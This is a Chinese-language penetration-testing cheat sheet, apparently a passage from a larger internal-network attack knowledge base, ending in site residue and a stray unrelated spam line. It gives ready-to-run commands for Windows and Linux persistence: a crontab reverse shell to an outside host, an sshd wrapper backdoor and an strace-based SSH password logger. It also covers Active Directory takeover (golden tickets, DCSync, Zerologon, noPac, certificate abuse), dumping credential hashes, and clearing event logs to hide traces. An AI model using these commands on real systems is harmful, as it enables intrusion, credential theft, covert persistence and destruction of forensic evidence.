    劫持Office軟件的特定功能:通過dll劫持,在Office軟件執行特定功能時觸發后門 利用VSTO實現的office后門 Office加載項

    • Word WLL
    • Excel XLL
    • Excel VBA add-ins
    • PowerPoint VBA add-ins
    參考1 :https://3gstudent.github.io/Use-Office-to-maintain-persistence
    參考2 :https://3gstudent.github.io/Office-Persistence-on-x64-operating-system
    22、CLR

    無需管理員權限的后門,并能夠劫持所有.Net程序 POC:https://github.com/3gstudent/CLR-Injection

    23、msdtc

    利用MSDTC服務加載dll,實現自啟動,并繞過Autoruns對啟動項的檢測 利用:向 %windir%\system32\目錄添加dll并重命名為oci.dll

    24、Hijack CAccPropServicesClass and MMDeviceEnumerato

    利用COM組件,不需要重啟系統,不需要管理員權限 通過修改注冊表實現 POC:https://github.com/3gstudent/COM-Object-hijacking

    25、Hijack explorer.exe

    COM組件劫持,不需要重啟系統,不需要管理員權限 通過修改注冊表實現

    HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1}
    HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9}
    HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
    HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}
    
    26、Windows FAX DLL Injection

    通過DLL劫持,劫持Explorer.exe對fxsst.dll的加載 Explorer.exe在啟動時會加載c:\Windows\System32\fxsst.dll(服務默認開啟,用于傳真服務)將payload.dll保存在c:\Windows\fxsst.dll,能夠實現dll劫持,劫持Explorer.exe對fxsst.dll的加載

    27、特殊注冊表鍵值

    在注冊表啟動項創建特殊名稱的注冊表鍵值,用戶正常情況下無法讀取(使用Win32 API),但系統能夠執行(使用Native API)。

    《滲透技巧——"隱藏"注冊表的創建》

    《滲透技巧——"隱藏"注冊表的更多測試》

    28、快捷方式后門

    替換我的電腦快捷方式啟動參數 POC : https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1

    29、Logon Scripts
    New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScript -value "c:\test\11.bat" -propertyType string | Out-Null
    
    30、Password Filter DLL
    31、利用BHO實現IE瀏覽器劫持

    Linux

    crontab

    每60分鐘反彈一次shell給dns.wuyun.org的53端口

    #!bash
    (crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
    
    硬鏈接sshd
    #!bash
    ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;
    

    鏈接:ssh root@192.168.206.142 -p 2333

    SSH Server wrapper
    #!bash
    cd /usr/sbin
    mv sshd ../bin
    echo '#!/usr/bin/perl' >sshd
    echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
    echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
    chmod u+x sshd
    //不用重啟也行
    /etc/init.d/sshd restart
    socat STDIO TCP4:192.168.206.142:22,sourceport=13377
    
    SSH keylogger

    vim當前用戶下的.bashrc文件,末尾添加

    #!bash
    alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
    

    source .bashrc

    Cymothoa_進程注入backdoor
    ./cymothoa -p 2270 -s 1 -y 7777
    nc -vv ip 7777
    
    rootkit
    • openssh_rootkit
    • Kbeast_rootkit
    • Mafix + Suterusu rootkit
    Tools
    • Vegile
    • backdoor

    WEB后門

    PHP Meterpreter后門 Aspx Meterpreter后門 weevely webacoo

    ....

    橫向滲透

    端口滲透

    端口掃描

    • 1.端口的指紋信息(版本信息)
    • 2.端口所對應運行的服務
    • 3.常見的默認端口號
    • 4.嘗試弱口令

    端口爆破

    hydra

    端口弱口令

    • NTScan
    • Hscan
    • 自寫腳本

    端口溢出

    smb

    • ms08067
    • ms17010
    • ms11058
    • ...

    apache ftp ...

    常見的默認端口

    1、web類(web漏洞/敏感目錄)

    第三方通用組件漏洞: struts thinkphp jboss ganglia zabbix ...

    80 web 
    80-89 web 
    8000-9090 web 
    
    2、數據庫類(掃描弱口令)
    1433 MSSQL 
    1521 Oracle 
    3306 MySQL 
    5432 PostgreSQL 
    50000 DB2
    
    3、特殊服務類(未授權/命令執行類/漏洞)
    443 SSL心臟滴血 
    445 ms08067/ms11058/ms17010等 
    873 Rsync未授權 
    5984 CouchDB http://xxx:5984/_utils/ 
    6379 redis未授權 
    7001,7002 WebLogic默認弱口令,反序列 
    9200,9300 elasticsearch 參考WooYun: 多玩某服務器ElasticSearch命令執行漏洞 
    11211 memcache未授權訪問 
    27017,27018 Mongodb未授權訪問 
    50000 SAP命令執行 
    50070,50030 hadoop默認端口未授權訪問 
    
    4、常用端口類(掃描弱口令/端口爆破)
    21 ftp 
    22 SSH 
    23 Telnet 
    445 SMB弱口令掃描 
    2601,2604 zebra路由,默認密碼zebra 
    3389 遠程桌面 
    
    5、端口合計所對應的服務
    21 ftp 
    22 SSH 
    23 Telnet 
    25 SMTP 
    53 DNS 
    69 TFTP 
    80 web 
    80-89 web 
    110 POP3 
    135 RPC 
    139 NETBIOS 
    143 IMAP 
    161 SNMP 
    389 LDAP 
    443 SSL心臟滴血以及一些web漏洞測試 
    445 SMB 
    512,513,514 Rexec 
    873 Rsync未授權 
    1025,111 NFS 
    1080 socks 
    1158 ORACLE EMCTL2601,2604 zebra路由,默認密碼zebra案 
    1433 MSSQL (暴力破解) 
    1521 Oracle:(iSqlPlus Port:5560,7778) 
    2082/2083 cpanel主機管理系統登陸 (國外用較多) 
    2222 DA虛擬主機管理系統登陸 (國外用較多) 
    2601,2604 zebra路由,默認密碼zebra 
    3128 squid代理默認端口,如果沒設置口令很可能就直接漫游內網了 
    3306 MySQL (暴力破解) 
    3312/3311 kangle主機管理系統登陸 
    3389 遠程桌面 
    3690 svn 
    4440 rundeck 參考WooYun: 借用新浪某服務成功漫游新浪內網 
    4848 GlassFish web中間件 弱口令:admin/adminadmin 
    5432 PostgreSQL 
    5900 vnc 
    5984 CouchDB http://xxx:5984/_utils/ 
    6082 varnish 參考WooYun: Varnish HTTP accelerator CLI 未授權訪問易導致網站被直接篡改或者作為代理進入內網 
    6379 redis未授權 
    7001,7002 WebLogic默認弱口令,反序列 
    7778 Kloxo主機控制面板登錄 
    8000-9090 都是一些常見的web端口,有些運維喜歡把管理后臺開在這些非80的端口上 
    8080 tomcat/WDCd/ 主機管理系統,默認弱口令 
    8080,8089,9090 JBOSS 
    8081 Symantec AV/Filter for MSE 
    8083 Vestacp主機管理系統 (國外用較多) 
    8649 ganglia 
    8888 amh/LuManager 主機管理系統默認端口 
    9000 fcgi fcig php執行 
    9043 websphere[web中間件] 弱口令: admin/admin websphere/ websphere ststem/manager 
    9200,9300 elasticsearch 參考WooYun: 多玩某服務器ElasticSearch命令執行漏洞 
    10000 Virtualmin/Webmin 服務器虛擬主機管理系統 
    11211 memcache未授權訪問 
    27017,27018 Mongodb未授權訪問 
    28017 mongodb統計頁面 
    50000 SAP命令執行 
    50060 hadoop 
    50070,50030 hadoop默認端口未授權訪問
    

    域滲透

    信息搜集

    powerview.ps1
    Get-NetDomain - gets the name of the current user's domain
    Get-NetForest - gets the forest associated with the current user's domain
    Get-NetForestDomains - gets all domains for the current forest
    Get-NetDomainControllers - gets the domain controllers for the current computer's domain
    Get-NetCurrentUser - gets the current [domain\]username
    Get-NetUser - returns all user objects, or the user specified (wildcard specifiable)
    Get-NetUserSPNs - gets all user ServicePrincipalNames
    Get-NetOUs - gets data for domain organization units
    Get-NetGUIDOUs - finds domain OUs linked to a specific GUID
    Invoke-NetUserAdd - adds a local or domain user
    Get-NetGroups - gets a list of all current groups in the domain
    Get-NetGroup - gets data for each user in a specified domain group
    Get-NetLocalGroups - gets a list of localgroups on a remote host or hosts
    Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts
    Get-NetLocalServices - gets a list of running services/paths on a remote host or hosts
    Invoke-NetGroupUserAdd - adds a user to a specified local or domain group
    Get-NetComputers - gets a list of all current servers in the domain
    Get-NetFileServers - get a list of file servers used by current domain users
    Get-NetShare - gets share information for a specified server
    Get-NetLoggedon - gets users actively logged onto a specified server
    Get-NetSessions - gets active sessions on a specified server
    Get-NetFileSessions - returned combined Get-NetSessions and Get-NetFiles
    Get-NetConnections - gets active connections to a specific server resource (share)
    Get-NetFiles - gets open files on a server
    Get-NetProcesses - gets the remote processes and owners on a remote server
    

    PowerView-2.0-tricks:

    https://gist.github.com/HarmJ0y/3328d954607d71362e3c
    

    PowerView-3.0-tricks

    https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
    
    BloodHound

    獲取某OU下所有機器信息

    {
                "name": "Find the specificed OU computers",
                "queryList": [
                    {
                        "final": false,
                        "title": "Select a OU...",
                        "query": "MATCH (n:OU) RETURN distinct n.name ORDER BY n.name DESC"
                    },
                    {
                        "final": true,
                        "query": "MATCH (m:OU  {name: $result}) with m MATCH p=(o:OU {objectid: m.objectid})-[r:Contains*1..]->(n:Computer) RETURN p",
                        "allowCollapse": true,
                        "endNode": "{}"
                    }
                ]
            }
    

    自動標記owned用戶及機器

    SyncDog

    獲取域內DNS信息
    • adidnsdump
    • 域滲透——DNS記錄的獲取

    獲取域控的方法

    SYSVOL

    SYSVOL是指存儲域公共文件服務器副本的共享文件夾,它們在域中所有的域控制器之間復制。Sysvol文件夾是安裝AD時創建的,它用來存放GPO、Script等信息。同時,存放在Sysvol文件夾中的信息,會復制到域中所有DC上。相關閱讀:

    • 尋找SYSVOL里的密碼和攻擊GPP(組策略偏好)
    • Windows Server 2008 R2之四管理Sysvol文件夾
    • SYSVOL中查找密碼并利用組策略首選項
    • 利用SYSVOL還原組策略中保存的密碼
    MS14-068 Kerberos
    python ms14-068.py -u 域用戶@域名 -p 密碼 -s 用戶SID -d 域主機
    

    利用mimikatz將工具得到的TGT_domainuser@SERVER.COM.ccache寫入內存,創建緩存證書:

    mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit
    net use k: \pentest.comc$
    

    相關閱讀 :

    • Kerberos的工具包PyKEK
    • 深入解讀MS14-068漏洞
    • Kerberos的安全漏洞
    SPN掃描

    Kerberoast可以作為一個有效的方法從Active Directory中以普通用戶的身份提取服務帳戶憑據,無需向目標系統發送任何數據包。SPN是服務在使用Kerberos身份驗證的網絡上的唯一標識符。它由服務類,主機名和端口組成。在使用Kerberos身份驗證的網絡中,必須在內置計算機帳戶(如NetworkService或LocalSystem)或用戶帳戶下為服務器注冊SPN。對于內部帳戶,SPN將自動進行注冊。但是,如果在域用戶帳戶下運行服務,則必須為要使用的帳戶的手動注冊SPN。SPN掃描的主要好處是,SPN掃描不需要連接到網絡上的每個IP來檢查服務端口,SPN通過LDAP查詢向域控執行服務發現,SPN查詢是Kerberos的票據行為一部分,因此比較難檢測SPN掃描。相關閱讀 :

    • 非掃描式的SQL Server發現
    • SPN掃描
    • 掃描SQLServer的腳本
    Kerberos的黃金門票

    在域上抓取的哈希

    lsadump::dcsync /domain:pentest.com /user:krbtgt
    kerberos::purge
    kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 /ticket:adinistrator.kiribi
    kerberos::ptt administrator.kiribi
    kerberos::tgt
    net use k: \pnet use k: \pentest.comc$
    

    相關閱讀 :

    • https://adsecurity.org/?p=1640
    • 域服務賬號破解實踐
    • Kerberos的認證原理
    • 深刻理解windows安全認證機制ntlm&Kerberos
    Kerberos的銀票務

    黃金票據和白銀票據的一些區別:Golden Ticket:偽造TGT,可以獲取任何Kerberos服務權限 銀票:偽造TGS,只能訪問指定的服務 加密方式不同:Golden Ticket由krbtgt的hash加密 Silver Ticket由服務賬號(通常為計算機賬戶)Hash加密 認證流程不同:金票在使用的過程需要同域控通信 銀票在使用的過程不需要同域控通信 相關閱讀 :

    • 攻擊者如何使用Kerberos的銀票來利用系統
    • 域滲透——Pass The Ticket
    域服務賬號破解

    與上面SPN掃描類似的原理 https://github.com/nidem/kerberoast 獲取所有用作SPN的帳戶

    setspn -T PENTEST.com -Q */*
    

    從Mimikatz的RAM中提取獲得的門票

    kerberos::list /export
    

    用rgsrepcrack破解

    tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
    
    憑證盜竊

    從搜集的密碼里面找管理員的密碼

    NTLM relay
    • One API call away from Domain Admin
    • privexchange
    • Exchange2domain

    用于主動讓目標機器發起NTLM請求的方法:

    • printerbug
    • PetitPotam

    Relay LDAP:

    • CVE-2019-1040-dcpwn

    Relay AD CS/PKI:

    • AD CS/PKI template exploit

    集成幾個利用的工具:

    • Relayx

    內網445端口轉發:

    • PortBender
    Kerberos委派
    • Wagging-the-Dog.html
    • s4u2pwnage
    • Attacking Kerberos Delegation
    • 用打印服務獲取域控
    • Computer Takeover
    • Combining NTLM Relaying and Kerberos delegation
    • CVE-2019-1040
    地址解析協議

    實在搞不定再搞ARP

    Zerologon

    1、利用Mimikatz check

    lsadump::zerologon /target:dc1.exploit.local /account:dc1$
    

    exploit

    lsadump::zerologon /target:dc1.exploit.local /account:dc1$ /exploit
    

    dcsync

    lsadump::dcsync /dc:dc1.exploit.local /authuser:dc1$ /authdomain:exploit.local /authpassword:"" /domain:exploit.local /authntlm /user:krbtgt
    

    restore

    lsadump::postzerologon /target:conttosson.locl /account:dc$ 
    

    2、利用impacket:

    • 取目標主機名+IP
    • install 修改版本的impacket
    • Exp
    python cve-2020-1472-exploit.py DC2008 10.211.55.200
    secretsdump.py -no-pass cgdomain.com/'DC2008$'@10.211.55.200 -history -just-dc-user administrator
    secretsdump.py -no-pass cgdomain.com/administrator@10.211.55.200 -hashes aad3b435b51404eeaad3b435b51404ee:3add1560657a19b3166247eb3eb149ae
    

    獲取到舊的密碼明文hex,還原

    python restorepassword.py cgdomain.com/DC2008@DC2008 -target-ip 10.211.55.200 -hexpass 59958639cbdd4523de5d42b01adb0e256e0d39aef14c8eef31f4c078862109f253bbb7b3817ab123d013856c028fa4993f5f5b9a830a3a98d87483b29df3fb55082a1f464b19220a2c04f6605d2d321a04afbb551f8f19a13d399f9f5af2aa23c5b76b49001033516fefd90cb0348256e8282b22cbf9e70d82a8b8d2916d578246e288af3af727533d36ad8950fe1c513771377d98a947c4a8eae2b581a74b6687a2e533b7e89e8d03c2e6c2123d519489869a6e33d3a8884be33107060b62e2852502261f48c097ddb68750cc55b7688cc951441cf02989a307f55c008e978edbaf31766d17b53505016c7580cb480b
    

    恢復方法2 通過wmic, pass the hash 拿到域控制器中的本地管理員權限(域管)

    wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/Administrator@10.211.55.38
    

    然后分別執行,拷貝本機中SAM數據庫到本地

    - reg save HKLM\SYSTEM system.save
    - reg save HKLM\SAM sam.save
    - reg save HKLM\SECURITY security.save
    - get system.save
    - get sam.save
    - get security.save
    - del /f system.save
    - del /f sam.save
    - del /f security.save
    

    提取明文hash

    secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
    

    然后恢復。

    noPac

    漏洞分析:CVE-2021-42287/CVE-2021-42278 Weaponisation

    Exploit:

    # Create Machine Account
    New-MachineAccount -MachineAccount TestSPN -Domain internal.zeroday.lab -DomainController idc1.internal.zeroday.lab -Verbose
    # Clear SPNs
    Set-DomainObject "CN=TestSPN,CN=Computers,DC=internal,DC=zeroday,DC=lab" -Clear 'serviceprincipalname' -Verbose
    # Change Machine Account samaccountname
    Set-MachineAccountAttribute -MachineAccount TestSPN -Value "IDC1" -Attribute samaccountname -Verbose
    # Request TGT
    .\Rubeus.exe asktgt /user:IDC1 /password:Password1 /domain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /nowrap
    # Change Machine Account samaccountname
    Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname -Verbose
    # Request S4U2self
    .\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:idc1.internal.zeroday.lab /self /altservice:LDAP/IDC1.internal.zeroday.lab /ptt /ticket:[TGT]
    

    一鍵利用:noPac

    ADCS

    利用ADCS中錯誤配置的模板進行域提權,詳細可參考:Certified_Pre-Owned

    可利用工具:

    • Certify
    • Certipy
    • PKINITtools
    • certi
    CVE-2022-26923

    前提:域內有ADCS Exploit:

    # 修改可控機器DNS
    python certi.py account create cgdomain.com/sanfeng:'1qazXSW@'@10.211.55.200 -dc-ip 10.211.55.200 -user testvul -dns dc2008.cgdomain.com
    # 請求證書
    python certi.py req 'cgdomain.com/testvul$:NUxhMemzaP4rsPnu'@10.211.55.200 -dc-ip 10.211.55.200 -ca cgdomain-DC2008-CA -template 'Machine'
    # 獲取DC hash
    python certi.py auth -dc-ip 10.211.55.200 -pfx dc2008.pfx -username dc2008$
    # 還原機器DNS
    python certi.py account update cgdomain.com/sanfeng:'1qazXSW@'@10.211.55.200 -dc-ip 10.211.55.200 -user testvul -dns testvul.hqcec.com
    
    注:此環境的ADCS與DC為同一臺機器。真實環境需要根據實際情況進行參數調整。

    獲取AD哈希

    • 使用VSS卷影副本
    • Ntdsutil中獲取NTDS.DIT文件
    • PowerShell中提取NTDS.DIT -->Invoke-NinaCopy
    • 使用Mimikatz提取
    mimikatz lsadump::lsa /inject exit 
    
    • 使用PowerShell Mimikatz
    • 使用Mimikatz的DCSync 遠程轉儲Active Directory憑證 提取 KRBTGT用戶帳戶的密碼數據:
    Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit
    

    管理員用戶帳戶提取密碼數據:

    Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit
    
    • NTDS.dit中提取哈希 使用esedbexport恢復以后使用ntdsxtract提取

    AD持久化

    活動目錄持久性技巧

    https://adsecurity.org/?p=1929 DS恢復模式密碼維護 DSRM密碼同步

    Windows Server 2008 需要安裝KB961320補丁才支持DSRM密碼同步,Windows Server 2003不支持DSRM密碼同步。KB961320:https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni,可參考:巧用DSRM密碼同步將域控權限持久化

    DCshadow

    Security Support Provider

    簡單的理解為SSP就是一個DLL,用來實現身份認證

    privilege::debug
    misc::memssp
    

    這樣就不需要重啟c:/windows/system32可看到新生成的文件kiwissp.log

    SID History

    SID歷史記錄允許另一個帳戶的訪問被有效地克隆到另一個帳戶

    mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator"
    
    AdminSDHolder&SDProp

    利用AdminSDHolder&SDProp(重新)獲取域管理權限

    組策略

    https://adsecurity.org/?p=2716 策略對象在持久化及橫向滲透中的應用

    Hook PasswordChangeNotify

    http://www.vuln.cn/6812

    Kerberoasting后門

    域滲透-Kerberoasting

    AdminSDHolder

    Backdooring AdminSDHolder for Persistence

    Delegation

    Unconstrained Domain Persistence

    黃金證書

    certified-pre-owned

    證書偽造:pyForgeCert

    其他

    域內主機提權

    SharpAddDomainMachine

    Exchange的利用
    • owa_info
    • Exchange2domain
    • CVE-2018-8581
    • CVE-2019-1040
    • CVE-2020-0688
    • NtlmRelayToEWS
    • ewsManage
    • CVE-2021-26855
    • CVE-2021-28482

    TIPS

    《域滲透——Dump Clear-Text Password after KB2871997 installed》

    《域滲透——Hook PasswordChangeNotify》

    可通過Hook PasswordChangeNotify實時記錄域控管理員的新密碼

    《域滲透——Local Administrator Password Solution》

    域滲透時要記得留意域內主機的本地管理員賬號

    《域滲透——利用SYSVOL還原組策略中保存的密碼》

    相關工具

    • BloodHound
    • CrackMapExec
    • DeathStar
    利用過程:http://www.freebuf.com/sectool/160884.html

    在遠程系統上執行程序

    • At
    • Psexec
    • WMIC
    • Wmiexec
    • Smbexec
    • Powershell remoting
    • DCOM
    • Winrm (https://github.com/Hackplayers/evil-winrm)

    IOT相關

    • 1、路由器 routersploit
    • 2、打印機 PRET
    • 3、IOT exp https://www.exploitee.rs/
    • 4、相關 OWASP-Nettacker isf icsmaster

    中間人

    • Cain
    • Ettercap
    • Responder
    • MITMf
    • 3r/MITMf)

    規避殺軟及檢測

    Bypass Applocker

    UltimateAppLockerByPassList https://lolbas-project.github.io/

    BypassAV

    • Empire
    • PEspin
    • Shellter
    • Ebowla
    • Veil
    • PowerShell
    • Python
    • 代碼注入技術Process Doppelg?nging
    • ...

    痕跡清理

    Windows日志清除

    獲取日志分類列表:

    wevtutil el >1.txt
    

    獲取單個日志類別的統計信息:eg.

    wevtutil gli "windows powershell"
    

    回顯:

    creationTime: 2016-11-28T06:01:37.986Z
    lastAccessTime: 2016-11-28T06:01:37.986Z
    lastWriteTime: 2017-08-08T08:01:20.979Z
    fileSize: 1118208
    attributes: 32
    numberOfLogRecords: 1228
    oldestRecordNumber: 1
    

    查看指定日志的具體內容:

    wevtutil qe /f:text "windows powershell"
    

    刪除單個日志類別的所有信息:

    wevtutil cl "windows powershell"
    

    破壞Windows日志記錄功能

    利用工具

    • Invoke-Phant0m
    • Windwos-EventLog-Bypass

    Metasploit

    run clearlogs 
    clearev 
    

    3389登陸記錄清除

    @echo off
    @reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
    @del "%USERPROFILE%\My Documents\Default.rdp" /a
    @exit
    


    kerberos端口轉發
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    一個內網安全攻防的知識倉庫
    https://www.freebuf.com/sectool/389399.html
    內網滲透主要是基于前期外圍打點getshell的webserver,通過收集webserver上的信息,然后對其他內網主機進行口令上的攻擊,當然也有一些基于漏洞的攻擊。
    0x00 Preface內網滲透主要是基于前期外圍打點getshell的webserver,通過收集webserver上的信息,然后對其他內網主機進行口令上的攻擊,當然也有一些基于漏洞的攻擊。當然,概念是生澀難懂的,結合實際環境會有助于理解。實際上有很多優秀的集成化工具,很少會拆分開來單獨使用這些方法。當然,大多數情況下是要考慮免殺的,免殺時可能會將某一步操作拆分出來,單獨進行免殺和利用。
    0x00 Preface內網滲透主要是基于前期外圍打點getshell的webserver,通過收集webserver上的信息,然后對其他內網主機進行口令上的攻擊,當然也有一些基于漏洞的攻擊。當然,概念是生澀難懂的,結合實際環境會有助于理解。實際上有很多優秀的集成化工具,很少會拆分開來單獨使用這些方法。當然,大多數情況下是要考慮免殺的,免殺時可能會將某一步操作拆分出來,單獨進行免殺和利用。
    本文要介紹的就是業內知名的一款能夠用于內網滲透時團隊協同作戰的工具“Cobalt Strike”。Cobalt Strike 是一款美國 Red Team 開發的滲透測試神器,常被業界人稱為 CS。
    網絡隧道技術指的是利用一種網絡協議來傳輸另一種網絡協議,它主要利用網絡隧道協議來實現這種功能。網絡隧道技術涉及了三種網絡協議,即網絡隧道協議、隧道協議下面的承載協議和隧道協議所承載的被承載協議。 在安全人員人員的日常工作中,會遇到因為相關配置或設備導致的無法和目標設備通信的狀況,這時就可以嘗試使用隧道通信解決。
    信息搜集:開源情報信息收集、創建企業密碼字典進入內網:基于企業弱賬號漏洞、基于系統漏洞進入、網站應用程序滲透隱匿攻擊:Command and Control、代理內網跨邊界應用:內網跨邊界轉發、內網跨邊界代理穿透、shell反彈等
    很早就想專門寫一篇關于內網的文章,一直沒有騰出空來,萬萬沒想到,寫下這篇文章的時候,竟然是我來某實驗室實習的時間段:)
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类